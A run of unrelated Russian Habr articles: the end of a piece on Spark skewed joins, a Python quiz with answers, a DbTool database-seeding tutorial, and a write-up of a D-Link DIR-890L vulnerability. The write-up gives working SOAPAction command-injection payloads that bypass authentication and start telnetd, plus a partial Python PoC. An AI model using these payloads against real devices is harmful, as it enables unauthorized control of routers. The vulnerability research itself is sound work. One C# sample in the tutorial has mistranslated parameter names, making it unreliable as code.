> Соединение на основе засоленного сортировочного слияния не может обрабатывать полное внешнее соединение. Кроме того, оно не может обрабатывать перекос в обоих входных блоках данных. Оно может обрабатывать перекос только в левом наборе данных, в категории для левого (анти-левого и полу-левого) соединений. Аналогично — оно также может обрабатывать перекос только в правом наборе данных, в категории правых соединений.
AQE (Адаптивное выполнение запросов)
------------------------------------
AQE — это пакет средств для оптимизации работы среды выполнения, который теперь включён по умолчанию, начиная с версии Spark 3.0. Одной из ключевых особенностей этого пакета является возможность автоматической оптимизации объединений для перекошенных блоков данных.
AQE выполняет эту оптимизацию, как правило, для соединений сортировочного слияния перекошенного набора данных с неперекошенным комплектом данных. AQE работает на этапе разделения в соединениях сортировочного слияния, где два входных комплекта данных сначала разделяются на основе соответствующего соединительного ключа. После записи [блоков перемешивания](https://spark.apache.org/docs/latest/configuration.html) в [MapTasks](https://spark.apache.org/docs/latest/rdd-programming-guide.html) во время разбиения механизм исполнения Spark ([Spark Execution Engine](https://dzone.com/articles/tips-and-best-practices-to-take-advantage-of-spark)) получает статистику о размере каждого перемешанного раздела. С помощью этих статистических данных, полученных от механизма исполнения и в сочетании с определёнными настраиваемыми параметрами, AQE может определить — являются ли определённые разделы перекошенными или нет. В случае если определённые разделы признаны перекошенными — AQE разбивает эти разделы на более мелкие. Это разбиение контролируется комплексом настраиваемых параметров. Меньшие разделы, полученные в результате разбиения большего перекошенного раздела, затем соединяются с копией соответствующего раздела другого неперекошенного входного блока.
Процесс показан ниже на рисунке 3:
 *Рисунок 3: Способ AQE для работы с перекошенными соединениями*
Ниже также будут перечислены параметры конфигурации, которые влияют на функцию оптимизации перекошенного соединения в AQE:
`spark.sql.adaptive.skewJoin.enabled`: Этот логический параметр определяет, включена или выключена оптимизация перекошенного соединения. Значение по умолчанию — `true`.
`spark.sql.adaptive.skewJoin.skewedPartitionFactor`: Этот целочисленный параметр управляет интерпретацией перекошенного раздела. Значение по умолчанию равно `5`.
`spark.sql.adaptive.skewJoin.skewedPartitionThresholdInBytes`: Этот параметр в мегабайтах также управляет интерпретацией перекошенного раздела. Значение по умолчанию равно `256 MB`.
Раздел считается перекошенным, если оба параметра (`partition size` (размер раздела) > `skewedPartitionFactor * median partition size` (медианный размер раздела)) и (`partition size` > `skewedPartitionThresholdInBytes`) соответствуют действительности.
> AQE, такие как транслируемые хеш-соединения и соединения по методу засоленного сортировочного слияния — не могут обрабатывать полные внешние соединения. Кроме того, они не могут обрабатывать перекосы в обоих входных наборах данных. Поэтому, как и в случае с соединениями по методу засоленного сортировочного слияния — AQE может обрабатывать перекос только в левом блоке данных, в категории левых (анти-левых и полу-левых) соединений и перекос в правом наборе данных, в категории правых соединений.
Транслируемое соединение по методу карт разделов
------------------------------------------------
Транслируемое соединение по методу карт разделов (Broadcast [MapPartitions](https://sparkbyexamples.com/spark/spark-map-vs-mappartitions-transformation/) Join) — это единственный механизм по ускорению перекошенного полного внешнего соединения, между большим перекошенным и меньшим неперекошенным наборами данных. В этом подходе меньший из двух входных наборов данных транслируется исполнителям, а логика соединения вручную вводится в [преобразовании](https://spark.apache.org/docs/latest/rdd-programming-guide.html) карт разделов, которое вызывается на большем комплексе данных без трансляции.
> Хотя транслируемое соединение по методу карт разделов поддерживает все типы соединений и может обрабатывать перекос в любом или обоих наборах данных, единственным ограничением является то, что оно требует значительного объёма памяти у исполнителей. Большая память исполнителя требуется для трансляции одного из меньших входных блоков данных, а также для поддержки промежуточного сбора в памяти для обеспечения ручного соединения.
Надеюсь, что эта статья дала вам хорошее представление об обработке перекошенных соединений в ваших приложениях Spark. Основываясь на полученных знаниях, я рекомендую вам рассмотреть к использованию один из перечисленных выше вариантов, как только вы столкнётесь с перегрузками или перерасходом памяти на этапах соединения в ваших приложениях Spark.
Если вы хотите получить части кода, связанные с каждым из методов, вы можете связаться с автором на [LinkedIn](https://www.linkedin.com/in/ajaywlan/).
---
НЛО прилетело и оставило здесь промокод для читателей нашего блога:
— [15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — **HABRFIRSTVDS**.
|
https://habr.com/ru/post/678826/
| null |
ru
| null |
# Разминка для тех, кто умеет в Python
Привет! Мы обожаем квизы, посвященные языкам программирования. В нашем блоге мы разместили уже целых три: [первый](https://habr.com/company/avito/blog/346520/) — по Python, PHP, Golang, DevOps, [второй](https://habr.com/company/avito/blog/349088/) — полностью по Go, [третий](https://habr.com/company/avito/blog/414481/) — только по PHP. Сегодняшний квиз посвящен исключительно Python.
Предлагаем вам размяться в честь конца ещё одной летней недели и в преддверии [PyCon Russia 2018](http://pycon.ru/2018/). (Кстати, кто едет? Мы там будем).
Под катом — семь вопросов, советы от друга, Чапаев, отрывки из ABBA (*что? да!*) и крутой мерч.
**UPD:** Мы закончили принимать ответы. Спасибо всем, кто поучаствовал! Ответы на вопросы — внутри текста, а победители и призеры под спойлером.
**Победители и призеры викторины**
### Победитель
[Vadem](https://habr.com/ru/users/vadem/)
### Призеры
**Второе место:** [acerikfy](https://habr.com/ru/users/acerikfy/)
**Третье место:** [Histiophryne](https://habr.com/ru/users/histiophryne/)
**Четвертое — десятое место:** [Swezy\_ua](https://habr.com/ru/users/swezy_ua/), [SlonPC](https://habr.com/ru/users/slonpc/), [noth](https://habr.com/ru/users/noth/), [IIRoadRunnerII](https://habr.com/ru/users/iiroadrunnerii/), [term1nal](https://habr.com/ru/users/term1nal/), [alexchromets](https://habr.com/ru/users/alexchromets/), [Tihon\_V](https://habr.com/ru/users/tihon_v/) .
### Бонус
Так много участников дали правильные ответы, что мы решили разыграть случайным образом еще пять пар носков среди них. Крутые носки от Авито получают: [sunman](https://habr.com/ru/users/sunman/), [grt\_pretender](https://habr.com/ru/users/grt_pretender/), [Vash](https://habr.com/ru/users/vash/), [ipatov\_dn](https://habr.com/ru/users/ipatov_dn/), [institoris](https://habr.com/ru/users/institoris/)
#### Запись розыгрыша
Призы
=====
Призы распределим между десяткой лучших. **Первому**, кто правильно ответит на все вопросы Python-викторины, отправим продвинутый набор Авито-мерча: толстовку, носки и холиварные кости — можно будет погадать, на каком бэкенд-языке и фронтенд-фреймворке будет написан ваш новый проект. **Второго** участника, справившегося с заданиями, наградим холиварными костями, носками и футболкой. **Третьему** достанется тот же набор, но без футболки/толстовки. Среди оставшихся **семи участников** разыграем термобутылку с карабином, которую можно взять хоть в поход, хоть на хакатон.
Вопросы
=======
\*Во всех случаях речь про Python 3.
### Вопрос 1
Какой результат будет в переменной `t`:
```
>>> t = (1, 2, [30,40])
>>> t[2] += [50, 60]
```
**Варианты ответов:**
* вылетит `TypeError`, в `t` будет `(1, 2, [30, 40, 50, 60])`,
* вылетит `TypeError`, в `t` будет `(1, 2, [30, 40])`,
* `(1, 2, [30, 40, 50, 60])`,
* `(1, 2, [30, 40])`.
**Правильный ответ**
вылетит `TypeError`, в `t` будет `(1, 2, [30, 40, 50, 60])`
### Вопрос 2
Есть у тебя такая структура модулей:
```
foo_app/
snatch/
qwerty.py
bar_app/
snatch/
mamamia.py
```
Как бы так сделать, чтобы можно было в коде импортировать эти модули таким образом:
```
from snatch import qwerty, mamamia
```
**Варианты ответов:**
* перед запуском скрипта выполнить `export PYTHONPATH=foo_аpp:bаr_аpp`,
* в начало скрипта добавить:
```
import sys
sys.path.extend([‘foo_app’, ‘bar_app’])
```
* оба варианта выше — работающие,
* так нельзя сделать.
**Правильный ответ**
оба варианта выше — работающие
### Вопрос 3
Есть скрипт:
```
class A:
def get_some(self):
super().get_some()
class B:
def get_some(self):
print('Some')
class C(A, B):
def get_some(self):
super().get_some()
c = C()
c.get_some()
```
Что будет на выходе?
**Варианты ответов:**
* `AttributeError: 'C' object has no attribute 'get_some'`,
* `AttributeError: 'super' object has no attribute 'get_some'`,
* `Some`,
* пустота (без Чапаева).
**Правильный ответ**
`Some`
### Вопрос 4
Что будет выведено на экран при запуске такого кода:
```
class A:
def foo(self):
print('foo A')
class B:
def foo(self):
print('foo B')
class C(A, B):
def foo(self):
super().foo()
class D(B, A):
def foo(self):
super().foo()
class E(C, D): pass
e = E()
e.foo()
```
**Варианты ответов**
* `foo A`,
* `foo B`,
* `TypeError: Cannot create a consistent method resolution order (MRO) for bases A, B`.
**Правильный ответ**
`TypeError: Cannot create a consistent method resolution order (MRO) for bases A, B`
### Вопрос 5
Представь, у тебя есть модуль foo.py:
```
def bar():
print(‘Привет, друг!’)
```
И ты запускаешь другой скрипт:
```
import importlib
import foo
from foo import bar
input(‘Друг, нажми ввод’)
importlib.reload(foo)
bar()
```
Пока он ждет ввода, ты меняешь модуль foo.py:
```
def bar():
print(‘Пока, друг!’)
```
Далее ты жмешь «ввод» в foo.py, чтобы он продолжил работу и видишь...
**Варианты ответов:**
* `ModuleReloadedException: method bar() was reloaded`,
* `Пока, друг!`,
* `Привет, друг!`,
* пустоту (и опять нет Чапаева).
**Правильный ответ**
`Привет, друг!`
### Вопрос 6
Что будет выведено на экран при запуске такого кода:
```
class A:
def __init__(self):
print('__init__ A', end=' ')
class B:
def __init__(self):
print('__init__ B', end=' ')
class C(A, B): pass
c = C()
```
**Варианты ответов:**
* `__init__ A __init__ B`
* `__init__ B __init__ A`
* `__init__ A`
* `__init__ B`
**Правильный ответ**
`__init__ A`
### Вопрос 7
Что будет в выводе после выполнения следующего кода?
```
def not_(value): return not value
result = not_(0), all(any([not_(x) for x in range(b)]) for b in range(10))
print(result)
```
**Варианты ответов:**
* `(True, True)`,
* `(True, False)`,
* `ValueError: need more than 2 values to unpack`,
* ```
def not_(value): return value
^
SyntaxError: invalid syntax
```
**Правильный ответ**
`(True, False)`
Подведение итогов
=================
Ответы на вопросы выложим апдейтом к посту в среду, 25 июля. Если будете решать — кладите ответы под спойлер, чтобы другим участникам было интереснее решать вопросики.
И (!) не забывайте проверять личку Хабра после окончания квиза.
|
https://habr.com/ru/post/415913/
| null |
ru
| null |
# Использование DbTool для засеивания (seeding) баз данных в приложениях .NET (Core)
Представляем вашему вниманию DbTool — утилиту командной строки для экспорта данных БД в различные форматы и open-source библиотеку [Korzh.DbUtils](https://github.com/kedonec/Korzh.DbUtils), использование которых может значительно упростить первоначальное "засевание" базы данных в вашем .NET (Core) приложении.
С помощью этого набора инструментов вы сможете:
1. Сохранить данные из вашей локальной БД в файлы некого текстового формата (XML, JSON), которые легко подключить к проекту.
2. Использовать сохранённые файлы для заполнения базы данных самого приложения при его первом старте.
Ниже я расскажу зачем все это нужно, как проинсталлировать и настроить данные инструменты и опишу детальный сценарий их использования.
Зачем мы сделали DbTool
-----------------------
Первоначальной задачей было создание удобного механизма наполнения БД в .NET (Core) приложениях. В силу специфики [нашего рода деятельности](https://korzh.com/easyquery) (разработка компонент) нам часто приходится создавать небольшие приложения-примеры, которые демонстрируют ту или иную особенность нашего продукта. Такие демо-проекты должны работать с некой тестовой базой данных и поэтому желательно автоматически создать и наполнить эту БД при первом старте приложения.
Если в проекте используется Entity Framework (Core) (а так оно чаще всего и бывает), то с созданием базы никаких проблем нет. Вы просто вызываете `dbContext.Database.EnsureCreated` или `dbContext.Database.Migrate` (если важно сохранить миграции).
А вот с наполнением базы данными все немного сложнее. Первое, что приходит в голову, это просто создать SQL скрипт с кучей INSERT'ов, положить его в проект и выполнять при первом запуске. Это работает (и долгое время мы так и делали), но с таким подходом есть некоторые проблемы. В первую очередь — вопрос синтаксиса SQL под конкретную СУБД. Довольно часто исходная СУБД отличается от той, которая реально используется у пользователя и наш SQL скрипт может не срабатывать.
Вторая возможная проблема — это миграции самой базы. Периодически возникает необходимость немного поменять структуру БД (добавить новое поле, удалить или переименовать старое, добавить новую связь между таблицами и т.д.). SQL script созданный под старую структуру обычно становится в этом случае нерелевантен и его выполнение вызывает ошибку. В то время, как загрузка данных из некоторого стороннего формата проходит без проблем. Новые/измененные поля просто пропускаются. Согласитесь, что в целях демонстрации лучше чтобы программа запустилась, хоть и без данных в каком-то новом поле, нежели чтобы не запустилась совсем.
В результате мы пришли к следующему решению:
1. Данные из "мастер-копии" нашей демонстрационной БД записываются в файле в неком "независимом" формате (на данный момент это XML или JSON). Полученные файлы (или один файл архива) поставляются вместе с проектом. Этой задачей, собственно, и занимается DbTool.
2. В нашу программу вставляется небольшой кусок кода, который с помощью классов и функций библиотеки [Korzh.DbUtils](https://github.com/kedonec/Korzh.DbUtils) наполняет базу данными из файла(ов) полученных на первом шаге.
Кроме описанного выше сценария DbTool можно использовать просто для экспорта данных в другие форматы и для переноса данных между БД. Так, к примеру можно выгрузить данные из вашей БД на SQL Server и потом загрузить в похожую БД на MySQL
Инсталляция
-----------
DbTool реализована как .NET Core global tool т.е. может быть легко установлена на любую систему где есть [.NET SDK верcии 2.1](https://dotnet.microsoft.com/download/dotnet-core/2.1) или выше.
Для инсталляции утилиты нужно просто открыть консоль (Terminal / Command Prompt) и запустить такую команду:
```
dotnet tool install -g Korzh.DbTool
```
Для проверки после установки наберите в консоли `dbtool` и вы увидите справку со списком доступных команд.
Добавляем соединение с базой
----------------------------
Чтобы начать работать с DbTool нужно добавить соединение с базой данных:
```
dbtool add {YourConnectionId} {DbType} {YourConnectionString}
```
Здесь:
* {YourConnectionId} — это некий идентификатор, который вы хотите назначить этому соединению, чтобы обращаться к нему в дальнейшем при запуске других команд.
* DbType — тип вашей СУБД. На момент написания этой статьи DbTool (версия 1.1.7) поддерживал базы данных SQL Server (mssql) и MySQL (mysql).
* Последний параметр в этой команде — это строка подключения (connection string). Такая же, которую вы уже используете в своем .NET (Core) проекте.
Пример:
После этого вы можете проверить все ваши соединения, набрав:
```
dbtool connections list
```
Экспорт данных
--------------
Теперь, когда мы добавили соединение, мы можем экспортировать нашу базу данных с помощью команды export:
```
dbtool export {ConnectionId} [--format=xml|json] [--output={path-to-folder}] [--zip={file-name}]
```
Любая опция, указанная выше, может быть опущена. Если не указывать `format` то будет использоваться JSON. Если опустить опцию `output`, то результат будет помещен в каталог вида `ConnectionId_yyyy-MM-dd` в незапакованном виде.
Например, следующая команда:
```
dbtool export MyDb01 --zip=MyDbData.zip
```
создаст ZIP-архив с именем MyDbData.zip в текущем каталоге и заполнит его файлами данных в формате JSON (по одному файлу на каждую таблицу БД).
Импорт данных
-------------
Вы можете импортировать данные, созданные на предыдущем шаге, обратно в вашу БД. Или в любую другую базу с такой же структурой.
> Важно: DbTool не создает таблицы во время операции импорта. Таким образом, база данных, в которую импортируются данные, уже должна существовать и иметь ту же (или хотя бы похожую) структуру, что и исходная.
Сама команда импорта выглядит следующим образом:
```
dbtool import {ConnectionId} [--input=path-to-file-or-folder] [--format=xml|json]
```
Опция `--input` указывает утилите где искать импортируемые данные. Если указан путь к папке, DbTool будет импортировать .xml или .json файлы в этой папке. Если же это ZIP-файл, то утилита сначала распакует этот архив и оттуда заберет необходимые файлы с данными.
Как и в предыдущем случае `--format` может быть опущена так как DbTool может распознавать формат по расширениям файлов.
Пример:
```
dbtool import MyDb01 --input=MyDbData.zip
```
Бибилиотека Korzh.DbUtils
-------------------------
Сама утилита DbTool построена на основе open-source библиотеки [Korzh.DbUtils](https://github.com/kedonec/Korzh.DbUtils), которая включает в себя несколько пакетов с реализацией некоторых базовых операций над базами данных.
### Korzh.DbUtils
Определяет основные абстракции и интерфейсы, такие как IDatasetExporter, IDatasetImporter, IDataPacker, IDbBridge
### Korzh.DbUtils.Import
Содержит реализации интерфейсов IDatasetImporter для форматов XML и JSON. Кроме того, этот пакет включает класс DbInitializer, который можно использовать для заполнения данных в ваших проектах (подробнее об этом ниже).
### Korzh.DbUtils.Export
Содержит реализации IDatasetExporter для XML и JSON.
### Korzh.DbUtils.SqlServer
Содержит реализацию интерфейсов основных операций с БД (IDbBridge, IDbReader, IDbSeeder) для MS SQL Server.
### Korzh.DbUtils.MySQL
Содержит реализации интерфейсов по работе с БД для MySQL.
Здесь вы можете найти [полный справочник по API библиотеки Korzh.DbUtils](https://korzh.aistant.com/db-utils/api-reference).
Использование Korzh.DbUtils для заполнение БД данными при старте приложения
---------------------------------------------------------------------------
Теперь, собственно рассмотрим как с помощью DbTool и Korzh.DbUtils реализовать базовый сценарий наполнения (seeding) БД при первом запуске приложения.
Предположим, у вас есть «мастер-копия» некоторой БД, которую необходимо "скопировать" на компьютере пользователя при первом запуске приложения.
### Шаг 1: Экспортируем мастер-копию в JSON
Просто устанавливаем DbTool, как описано выше, добавляем соединение с БД и запускаем команду экспорта, чтобы сохранить все данные из этой БД в отдельную папку:
```
dotnet tool install -g Korzh.DbTool
dbtool connections add MyMasterDb mssql "{ConnectionString}"
dbtool export MyMasterDb
```
### Шаг 2: Добавляем файлы с данными в наш проект
После предыдущего шага у нас есть новая папка, вида MyMasterDb-yyyy-MM-dd, с кучей JSON файлов (по одному для каждой таблицы). Просто копируем содержимое этой папки в App\_Data\DbSeed нашего .NET (Core) проекта. Обратите внимание, что для проектов под .NET Framework вам также нужно будет "вручную" добавить эти файлы в проект.
### Шаг 3: Код инициализации БД
Хотя сам процесс (с точностью до некоторых деталей) применим для любого типа проекта под .NET Core или .NET Framework (версии 4.6.1 или выше), для простоты описания предположим, что речь идет про проект ASP.NET Core, который работает с базой данных SQL Server и что эта база создается автоматически, с помощью Entity Framework Core.
Таким образом для решения задачи заполнения БД данными при первом запуске нам нужно:
#### 1. Установить в проект NuGet пакеты библиотеки Korzh.DbUtils
В этом случае нам понадобится 2 из них:
* Korzh.DbUtils.Import
* Korzh.DbUtils.SqlServer
#### 2. Добавить код инициализации
Вот пример такого кода, который мы должны добавить в конце метода Startup.Configure:
```
public void Configure(IApplicationBuilder app, IHostingEnvironment env)
{
. . . .
app.UseMvc();
using (var scope = app.ApplicationServices.GetRequiredService().CreateScope())
using (var context = scope.ServiceProvider.GetService()) {
if (context.Database.EnsureCreated()) { //run only if database was not created previously
Korzh.DbUtils.DbInitializer.Create(options => {
options.UseSqlServer(Configuration.GetConnectionString("DefaultConnection")); //set the connection string for our database
options.UseFileFolderPacker(System.IO.Path.Combine(env.ContentRootPath, "App\_Data", "SeedData")); //set the folder where to get the seeding data
})
.Seed();
}
}
}
```
Чтобы сделать уж совсем все красиво или если надо выполнить некоторую дополнительную инициализацию при первом запуске (например, добавить несколько учетных записей и/или ролей пользователей), то лучше оформить весь этот код в виде отдельного extension method'а (назовем его `EnsureDbInitialized`) для интерфейса `IApplicationBuilder`.
Пример такой реализации можно найти на GitHub в [демо проекте для библиотеки EasyQuery](https://github.com/easyquery/AspNetCoreSamples/blob/master/EqAspNetCoreDemo/Data/DbInitializeExtensions.cs).
В этом случае вам просто нужно добавить один вызов в конце вашего метода Startup.Configure:
```
public void Configure (приложение IApplicationBuilder, окружающая среда IHostingEnvironment)
{
. . . .
app.UseMvc ();
//Init database (only if necessary)
app.EnsureDbInitialized(Configuration, env);
}
```
Планы на будущее
----------------
Хотя библиотека и утилита были написаны под вполне определенный сценарий, мы старались сделать все как можно более гибко и расширяемо поэтому включить дополнительный функционал не составит особых проблем.
Из возможных улучшений мы видим следующие:
* Поддержка других баз данных (PostgreSQL, Oracle, SQLite, MariaDB)
* Новые форматы в которые можно экспортировать данные (CSV, Excel, HTML)
* Операция непосредственного копирования данных из БД в БД (сейчас можно реализовать через пару последовательных вызовов команд export/import)
* Полноценные операции backup / restore с полным сохранением структуры БД и созданием ее "с нуля" при восстановлении.
Будем рады услышать любые пожелания или замечания и очень благодарны за новые звездочки для [GitHub репозитория библиотеки](https://github.com/kedonec/Korzh.DbUtils) :)
Спасибо за внимание!
|
https://habr.com/ru/post/466541/
| null |
ru
| null |
# Взламываем D-Link DIR-890L
Последние 6 месяцев, я был жутко занят и не следил за новыми хренями от D-Link. Чтобы немного поразвлечься, я зашел на их сайт, и меня поприветствовал этот кошмар:
*Самый безумный роутер D-Link DIR-890L за $300*
Пожалуй, самым «безумным» в роутере является то, что он работает под управлением все той же [забагованной](https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/hedwig_cgi_httpcookie) [прошивки](http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html), которую D-Link ставит в свои роутеры вот уже несколько лет…[and the hits just keep on coming.](https://www.youtube.com/watch?v=WQZqJ_-WAO8)
Хорошо, давайте как обычно — возьмем [последнюю версию прошивки](ftp://ftp2.dlink.com/PRODUCTS/DIR-890L/REVA/DIR-890L_REVA_FIRMWARE_1.03.B07.ZIP), пройдемся по ней [binwalk](https://github.com/devttys0/binwalk) и посмотрим, что мы получили:
```
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/7"
116 0x74 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes
1835124 0x1C0074 PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes
1835156 0x1C0094 Squashfs filesystem, little endian, version 4.0, compress
```
Похоже на обычную прошивку с Linux, а если вы заглядывали в любую прошивку D-Link за последние несколько лет, вы без труда вспомните структуру директорий:
```
$ ls squashfs-root
bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www
```
Все, что относится к HTTP, UPnP и HNAP, расположено в директории htdocs. Самый интересный файл здесь — htdocs/cgibin — ELF-бинарник для ARM, который выполняется вебсервером для, хм, почти всего: все симлинки к CGI, UPnP и HNAP-ссылкам ведут на этот файл:
```
$ ls -l htdocs/web/*.cgi
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin
```
Он, конечно же, stripped, но в нем есть множество строк, которые будут нам в помощь. В первую очередь, `main` сравнивает `argv[0]` со списком известных ему имен симлинков (`captcha.cgi`, `conntrack.cgi` и т.д.) чтобы определить, какое действие выполнять:
*Граф вызовов, типичный каскад if/else*
Каждое сравнение производится вызовом strcmp на известные имена симлинков:
[](https://habrastorage.org/getpro/habr/post_images/a82/23f/ea5/a8223fea53fa45784451caa8690d5966.png)
*Разные функции обработчиков разных симлинков*
Чтобы упростить сопоставление функций-обработчиков и симлинков, переименуем их, согласно имени симлинка:
[](https://habrastorage.org/getpro/habr/post_images/344/9e3/6a6/3449e36a60c1d4bdf89191b5dc6ec318.png)
*Переименованные функции-обработчики*
Теперь, когда у нас есть имена функций, давайте начнем искать баги. Другие устройства от D-Link, работающие под управлением точно такой же прошивки, ранее были взломаны через [HTTP](http://www.s3cur1ty.de/node/703) и [UPnP](http://www.s3cur1ty.de/node/714)-интерфейсы, однако, HNAP-интерфейс, который обрабатывается функцией `hnap_main` в `cgibin`, похоже, никто особо не смотрел.
[HNAP](http://www.google.com/patents/US7827252) (Home Network Administration Protocol) — протокол на основе SOAP, похожий на UPnP, который обычно используется утилитой для первоначальной настройки D-Link роутеров «EZ». В отличие от UPnP, все действия HNAP, кроме `GetDeviceInfo` (который бесполезен), требуют HTTP Basic-аутентификацию.
```
POST /HNAP1 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"
xml version="1.0" encoding="utf-8"?
foobar
192.168.0.100
TCP
1234
1234
```
Заголовок `SOAPAction` очень важен в HNAP-запросе, т.к. именно он задает, какое действие выполнит сервер (действие `AddPortMapping` в примере выше).
Вследствие того, что `cgibin` запускается как CGI-приложение веб-сервером, `hnap_main` получает данные HNAP-запроса, например, заголовок `SOAPAction`, через переменные окружения:
*SOAPAction = getenv(“HTTP\_SOAPACTION”);*
Ближе к концу `hnap_main`, вызовом `sprintf` генерируется shell-команда, которая затем выполняется через `system`:
*sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);*
Очевидно, что `hnap_main` использует данные из заголовка `SOAPAction` внутри команды `system`! Этот баг подает надежды, особенно, если заголовок `SOAPAction` не экранируется, и если мы сможем попасть в это место без аутентификации.
В начале `hnap_main` проверяется, равен ли заголовок `SOAPAction` строке `purenetworks.com/HNAP1/GetDeviceSettings`, и если он равен, аутентификация пропускается. Это ожидаемо, мы уже подметили ранее, что `GetDeviceSettings` не требует аутентификации:
[](https://habrastorage.org/getpro/habr/post_images/c1d/69c/9c2/c1d69c9c22d351a6366f7b3c9534a937.png)
*if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)*
Заметим, однако, что для проверки используется функция `strstr`, которая только проверяет наличие строки `purenetworks.com/HNAP1/GetDeviceSettings` в заголовке `SOAPAction`, а не равенство ей.
Итак, если заголовок `SOAPAction` содержит подстроку `purenetworks.com/HNAP1/GetDeviceSettings`, функция достает название действия (т.е. `GetDeviceSettings`) из заголовка и убирает двойные кавычки:
[](https://habrastorage.org/getpro/habr/post_images/d9f/a32/5d3/d9fa325d397e7154ef0d2e723b23348c.png)
*SOAPAction = strrchr(SOAPAction, ‘/’);*
Имя действия (`GetDeviceSettings`) вычленяется из заголовка, затем попадает в `system`, проходя `sprintf`.
Вот код на C, который демонстрирует ошибку в логике:
```
/* Grab a pointer to the SOAPAction header */
SOAPAction = getenv("HTTP_SOAPACTION");
/* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */
if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL)
{
/* do auth check */
}
/* Do a reverse search for the last forward slash in the SOAPAction header */
SOAPAction = strrchr(SOAPAction, '/');
if(SOAPAction != NULL)
{
/* Point the SOAPAction pointer one byte beyond the last forward slash */
SOAPAction += 1;
/* Get rid of any trailing double quotes */
if(SOAPAction[strlen(SOAPAction)-1] == '"')
{
SOAPAction[strlen(SOAPAction)-1] = '\0';
}
}
else
{
goto failure_condition;
}
/* Build the command using the specified SOAPAction string and execute it */
sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);
system(command);
```
Итак, что мы из этого вынесли:
* Проверка аутентификации отсутствует, если в заголовке `SOAPAction` есть подстрока `purenetworks.com/HNAP1/GetDeviceSettings`
* В `sprintf` (и `system`) передается все, что находится после последнего слеша в заголовке `SOAPAction`
Мы с легкостью можем сформировать заголовок `SOAPAction`, который будет удовлетворять пропуску аутентификации и позволять нам передавать свою строку в `system`:
```
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"
```
`purenetworks.com/HNAP1/GetDeviceSettings` в заголовке позволяет нам обойти аутентификацию, а строка ``reboot`` будет передана в `system`
```
system("sh /var/run/`reboot`.sh > /dev/console");
```
Заменой `reboot` на `telnetd` мы запустим telnet-сервер без аутентификации:
```
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
#
```
Мы можем отправлять HNAP-запросы из WAN, если было включено удаленное администрирование. Конечно, брандмауер блокирует все входящие соединения на telnet из WAN. Самое простое решение — убить HTTP-сервер и запустить telnetd на его порту:
```
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1
$ telnet 1.2.3.4 8080
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'.
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
#
```
Замечу, что wget будет висеть в ожидании ответа, т.к. `cgibin` будет ожидать завершение telnetd. Вот маленький PoC на Python, который все делает чуточку удобней:
```
#!/usr/bin/env python
import sys
import urllib2
import httplib
try:
ip_port = sys.argv[1].split(':')
ip = ip_port[0]
if len(ip_port) == 2:
port = ip_port[1]
elif len(ip_port) == 1:
port = "80"
else:
raise IndexError
except IndexError:
print "Usage: %s " % sys.argv[0]
sys.exit(1)
url = "http://%s:%s/HNAP1" % (ip, port)
# NOTE: If exploiting from the LAN, telnetd can be started on
# any port; killing the http server and re-using its port
# is not necessary.
#
# Killing off all hung hnap processes ensures that we can
# re-start httpd later.
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
"SOAPAction" : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,
}
req = urllib2.Request(url, None, headers)
try:
